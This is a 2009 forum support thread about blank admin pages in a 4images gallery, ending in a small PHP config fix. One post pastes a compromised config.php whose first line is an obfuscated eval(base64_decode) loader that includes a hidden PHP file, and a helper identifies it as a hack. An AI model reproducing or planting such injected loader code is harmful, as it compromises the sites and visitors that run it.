4images Forum & Community
4images Issues / Ausgaben => Installation, Update & Configuration => Topic started by: 5LLJ on October 12, 2009, 12:08:36 AM
-
Hi all
I have problem in my web site when I login, the problem is I change my gallery to UTF-8
Everything is fined but the only problem I have is when I login it show me blank page
In everywhere in admin folder or in gallery
Any ideas
4images 1.7.7
-
Welcome to 4images forum.
F.A.Q. -> UNICODE / UTF8 / UTF16 related (http://www.4homepages.de/forum/index.php?topic=25252.0)
-
I know these steps but nothing work
every thing is fined in language the problem is when I login only
-
ok, can I test it? (pm me with login info)
-
ok, can I test it? (pm me with login info)
I fix the problem I think I test every think first and I will see if I fix it or not
-
i have same problem, but i use gedit on linux and the problem isn't the unicode, but other, in admin area i have blank page and apache has make a log file with this rows:
[14-Oct-2009 10:01:35] PHP Warning: strpos() [<a href='function.strpos'>function.strpos</a>]: Offset not contained in string in /home/test_site/4image/config.php(1) : eval()'d code on line 1
[14-Oct-2009 10:01:35] PHP Warning: gzinflate() [<a href='function.gzinflate'>function.gzinflate</a>]: data error in /home/test_site/4image/config.php(1) : eval()'d code on line 1
this is my conf file:
<? /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS9lbHBhcGFpcy9wdWJsaWNfaHRtbC9oaXBvbmV0L2NvaW4vY29pbl9hZGRvbnMvdGlueW1jZS9qc2NyaXB0cy90aW55X21jZS90aGVtZXMvYWR2YW5jZWQvZG9jcy9lbi9pbWFnZXMvc3R5bGUuY3NzLnBocCcpKXtpbmNsdWRlX29uY2UoJy9ob21lL2VscGFwYWlzL3B1YmxpY19odG1sL2hpcG9uZXQvY29pbi9jb2luX2FkZG9ucy90aW55bWNlL2pzY3JpcHRzL3RpbnlfbWNlL3RoZW1lcy9hZHZhbmNlZC9kb2NzL2VuL2ltYWdlcy9zdHlsZS5jc3MucGhwJ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zRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MCk7fWVsc2V7cmV0dXJuIGdtbCgpLiRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTA7fX1vYl9zdGFydCgnZGdvYmgnKTt9fX0=')); ?>
<?php
$db_servertype = "mysql";
$db_host = "localhost";
$db_name = "**********";
$db_user = "**********";
$db_password = "**********";
$table_prefix = "4images_";
define("4IMAGES_ACTIVE", 1);
?>
the gallery is on my laptop in localhost, not public gallery.
what is it?
-
Welcome to 4images forum.
the first line is not part of 4images, maybe it's causing it?
-
Welcome to 4images forum.
the first line is not part of 4images, maybe it's causing it?
no, i try remove it but same problem.
if i call single page manually I can see it, exemple: home.php, settings.php or other page works fine, but only index.php cause blank page.
this problem is only with index.php in admin section.
-
The first line I've mentioned is a hack, I don't know if you aware of it, or what, but you should check all your .php files for similar line, I can only assume it's the case - the hack.
http://www.simplemachines.org/community/index.php?topic=291486.0
[EDIT]
Since blank page occur not only when you login, then it's not quiet related to this topic.
In global.php find line with error_reporting
add below that line:
error_reporting(E_ALL);
@ini_set("display_errors", 1);
See if any errors shows
-
Ok now i have remove any row with this string "base64_decode ecc..." (any other file have this string) but now give this error:
Notice: Undefined index: cat_sort in /home/test_site/4image/global.php on line 468
The section of file with error is this:
if (defined("GET_CACHES")) {
$config['cat_order'] = empty($config['cat_order']) ? 'cat_order, cat_name ASC' : $config['cat_order'];
$sql = "SELECT cat_id, cat_name, cat_description, cat_parent_id, cat_hits, cat_order, auth_viewcat, auth_viewimage, auth_download, auth_upload, auth_directupload, auth_vote, auth_sendpostcard, auth_readcomment, auth_postcomment
FROM ".CATEGORIES_TABLE."
ORDER BY ".$config['cat_order']." " .$config['cat_sort']; //<---------------- ERROR IS HERE!
$result = $site_db->query($sql);
while ($row = $site_db->fetch_array($result)) {
$cat_cache[$row['cat_id']] = $row;
$cat_parent_cache[$row['cat_parent_id']][] = $row['cat_id'];
}
$site_db->free_result();
-
above the code you showed add:
$config['cat_sort'] = "";
-
above the code you showed add:
$config['cat_sort'] = "";
now works correctly, thanks for your help ;)